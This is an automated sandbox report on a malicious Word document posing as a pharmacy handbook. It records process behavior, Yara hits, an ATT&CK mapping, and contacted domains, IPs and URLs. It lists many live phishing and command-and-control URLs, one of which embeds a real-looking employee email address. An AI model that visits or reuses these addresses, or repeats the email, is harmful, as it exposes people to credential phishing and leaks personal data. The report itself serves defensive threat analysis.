Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://c2uah.yazvbqkl.ru/qrFlDBWhFnh5hIN9Hd7VV64TSe7YSWfbyTWzKb8YvaGuvWivWyCldp68q60rl7a4S1Hcd238	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/mnhXTtKSnd2EnObhymzOHchdAv0FLCBM2O56KxQiRHeAXzQGPPglyFvueEkx9cuv220	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/qrWFd2z1S0eE0OUwHxH43wnOrNqngHUobWgh2oPtBDeDQ1djXHXR67133	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/ij9JmFrpe9fPkPKoPi2kS8COwyZisffNzM5kyw9QbmnjC0FHS4Oj4xVs4dCiJ0s89lkm979vtef204	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/aj9IPN3XWv04k4e1dXLBqunWQ3ohyo	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/349Gmt1GFtekU1wpUIghzCHVrq7eMazbjl5k89101	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/ijhDKdJXERIvoQAbAULSEWt9lPA2XCIIOY7q9Cwxc1K14c9eOhXNLf2I56165	0%	Avira URL Cloud	safe
https://hajz.aezeib.ru/tatay@ode81xb	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/mnMF5q6GR6pPSfidW9tT189FWiBOdTuvQzqgHato21TzMM90150	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/wbWQrtC0CdDe2zFFzbkMMQkDCFplpnpwqu4gx1qPzemTtxCDFEfyV7X7ya6Qlc	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/steXg0CxWWvOSFrcNxlO5qV0VgisEPEetPawKJ0Cqvmn6CSaOH3RimifSka7bNPRgh260	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/56WNRhKU5BiLLVLVxyIWWrnQ8918	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/yzhVvvrbtHetJlBWJqFj8ZEAe7Nkop42OfI7xSK2W4sfhcSC9JubG90180	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/QPImv5ff/	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/abBkbbYG4HepqnjDgh30	0%	Avira URL Cloud	safe
https://ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es/fDDWfZstwefEKWbituoktkIAsWpPPxXFAOWIEJMSDEUWXYWAXDCOTQBTBIQVVpqryD3KJ0Y6KrUjkRGJ4yzUinSuv36	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/favicon.ico	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/uv2LTxIdyrTohqhASH6qQkyY8PDqxvstR93nmwsuIlsfERnL0mqy34128	0%	Avira URL Cloud	safe
https://c2uah.yazvbqkl.ru/opfcLnHsFx016txFTx2Iq6C4apeAijFmERgqguX6Uhe5z3fed9Opef199	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es	104.21.42.188	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.3.189	true	false	high
github.com	140.82.112.4	true	false	high
hajz.aezeib.ru	104.21.53.220	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
get.geojs.io	104.26.0.100	true	false	high
c2uah.yazvbqkl.ru	172.67.177.94	true	false	high
www.google.com	142.250.80.100	true	false	high
s-0005.dual-s-msedge.net	52.123.128.14	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.96	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://c2uah.yazvbqkl.ru/aj9IPN3XWv04k4e1dXLBqunWQ3ohyo	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/mnhXTtKSnd2EnObhymzOHchdAv0FLCBM2O56KxQiRHeAXzQGPPglyFvueEkx9cuv220	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://c2uah.yazvbqkl.ru/qrFlDBWhFnh5hIN9Hd7VV64TSe7YSWfbyTWzKb8YvaGuvWivWyCldp68q60rl7a4S1Hcd238	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://c2uah.yazvbqkl.ru/349Gmt1GFtekU1wpUIghzCHVrq7eMazbjl5k89101	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/qrWFd2z1S0eE0OUwHxH43wnOrNqngHUobWgh2oPtBDeDQ1djXHXR67133	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/ij9JmFrpe9fPkPKoPi2kS8COwyZisffNzM5kyw9QbmnjC0FHS4Oj4xVs4dCiJ0s89lkm979vtef204	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/ijhDKdJXERIvoQAbAULSEWt9lPA2XCIIOY7q9Cwxc1K14c9eOhXNLf2I56165	false	Avira URL Cloud: safe	unknown
https://hajz.aezeib.ru/tatay@ode81xb	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/mnMF5q6GR6pPSfidW9tT189FWiBOdTuvQzqgHato21TzMM90150	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=l5y2DqYQb8hoL9OciNfOPXqmYINXr7tMbQAAS%2BwPBVZifx1um7YPtJ%2BYiupac5sTeF122BU8IZeSvvttDPhVL1KEtUUdxCNAz5T%2BnnqIoVFrKyOqlYPltQFi0aFgTIVG9SFX	false		high
https://c2uah.yazvbqkl.ru/wbWQrtC0CdDe2zFFzbkMMQkDCFplpnpwqu4gx1qPzemTtxCDFEfyV7X7ya6Qlc	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://c2uah.yazvbqkl.ru/yzhVvvrbtHetJlBWJqFj8ZEAe7Nkop42OfI7xSK2W4sfhcSC9JubG90180	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/steXg0CxWWvOSFrcNxlO5qV0VgisEPEetPawKJ0Cqvmn6CSaOH3RimifSka7bNPRgh260	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com	false		unknown
https://developers.cloudflare.com/favicon.png	false		high
https://c2uah.yazvbqkl.ru/56WNRhKU5BiLLVLVxyIWWrnQ8918	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es/fDDWfZstwefEKWbituoktkIAsWpPPxXFAOWIEJMSDEUWXYWAXDCOTQBTBIQVVpqryD3KJ0Y6KrUjkRGJ4yzUinSuv36	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://c2uah.yazvbqkl.ru/QPImv5ff/	true	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/abBkbbYG4HepqnjDgh30	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJY	true		unknown
https://c2uah.yazvbqkl.ru/uv2LTxIdyrTohqhASH6qQkyY8PDqxvstR93nmwsuIlsfERnL0mqy34128	false	Avira URL Cloud: safe	unknown
https://c2uah.yazvbqkl.ru/opfcLnHsFx016txFTx2Iq6C4apeAijFmERgqguX6Uhe5z3fed9Opef199	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_98.11.dr	false		high
https://www.rakuten.com	chromecache_104.11.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.112.4	github.com	United States	36459	GITHUBUS	false
104.21.53.220	hajz.aezeib.ru	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.177.94	c2uah.yazvbqkl.ru	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
18.164.124.11	unknown	United States	3	MIT-GATEWAYSUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.3.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.208.94	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.80.100	www.google.com	United States	15169	GOOGLEUS	false
104.21.42.188	ijocrd8gscyrrpncx37g2njnvi2qysdl6xszanyihqwt0mroulce.novaxw.es	United States	13335	CLOUDFLARENETUS	false
18.164.124.96	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.56.43	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649595
Start date and time:	2025-03-26 23:33:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Revised - Mypharmaus 2025 Handbook03027.doc
Detection:	MAL
Classification:	mal100.phis.troj.evad.winDOC@20/80@38/18
Cookbook Comments:	Found application associated with file extension: .doc

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.8.89, 23.9.183.29, 52.111.251.16, 52.111.251.17, 52.111.251.18, 52.111.251.19, 13.89.179.14, 23.206.172.20, 23.206.172.6, 142.250.81.238, 142.251.40.195, 142.251.111.84, 142.251.32.110, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.250.64.106, 142.250.72.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.251.40.163, 52.123.128.14, 20.190.190.194, 172.202.163.200
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, cus-config.officeapps.live.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, prod-canc-resolver.naturallanguageeditorservice.osi.office.net.akadns.net, dual-s-0005-office.config.skype.com, clients2.google.com, redirector.gvt1.com, login.live.com, update.googleapis.com, officeclient.microsoft.com, templatesmetadata.office.net, prod.fs.microsoft.com.akadns.net, clients1.google.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, prod-na.naturallanguageeditorservice.osi.office.net.akadns.net, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, e26769.dscb.akamaiedge.net, edge
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com
Screenshot	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com
Screenshot	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com
Screenshot	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjason.hodges@purduepharma.com

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.112.4	https://nz.freshmnind.ru/E9nFcFhuAwW2u/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://url.us.m.mimecastprotect.com/s/nZZ9Crkg3MtnDD2GHzh7U48vkg?domain=orangeconnection.org	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://github.com/abunaj3/abjjd/releases/download/2/2.mp3	Get hash	malicious	Unknown	Browse
	LauncherV8.exe	Get hash	malicious	LummaC Stealer, Salat Stealer	Browse
	setup.exe	Get hash	malicious	Unknown	Browse
	Scanned Inv#118953-0012345.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://url5681.planter.eco/ls/click?upn=u001.PX1-2BssefkOe686e7wTSUMnaoXrd6S1ksOi7FI-2BefNAsCzX3TVnnMzv0RD1mV85AlLeXUL2tumK9wNGrcaVuYpg-3D-3DqAfG_lhEpvcamcm95WhC017PRgaD9u4chAi-2B1YZa2gmXBStHPdPGT6s-2BEz793Bvhi3040DuNXmA9056lRnaFpqd1VjgHCt1UePx4U6BGXut0G4i1-2Fc6UkEIKzv1OOOyFWCeIyHI2gjLS5lxpB3MY86Tb9YJCxmM5Kw-2F6lGtH-2BOhWImxRS9kg-2BK-2FmYYxW3f3BYchaNrfSary5LmipSVdym8JgiHU05XKlsep6coKZsnTC7GI4-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	archifiltre-mails-win.msi	Get hash	malicious	HTMLPhisher	Browse
104.21.53.220	test.html	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529l3qOWAXRM0I9djvzki8kdrm19expwx==gXGKj7fHmzWdkj2fwKEGO6dPY7Z5PPVc3m4uU~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~LXGhAFK67Ngt8OgVyICJaqw7ha7==afV0FL0LY5RCvaMaS680fdF7POr	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	0064_QB_Payment_Statemnt87T.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	SMK_Wc_rkgzt.rtf	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://i.mqz7or.com/l/#1barry.doan@firstontario.com	Get hash	malicious	Tycoon2FA	Browse
	https://o.mqz7or.com/y/#7cynthia.crappere@firstontario.com	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	swiftcopy_lpdlna0vhuqselcoqbt6.rtf	Get hash	malicious	Tycoon2FA	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json
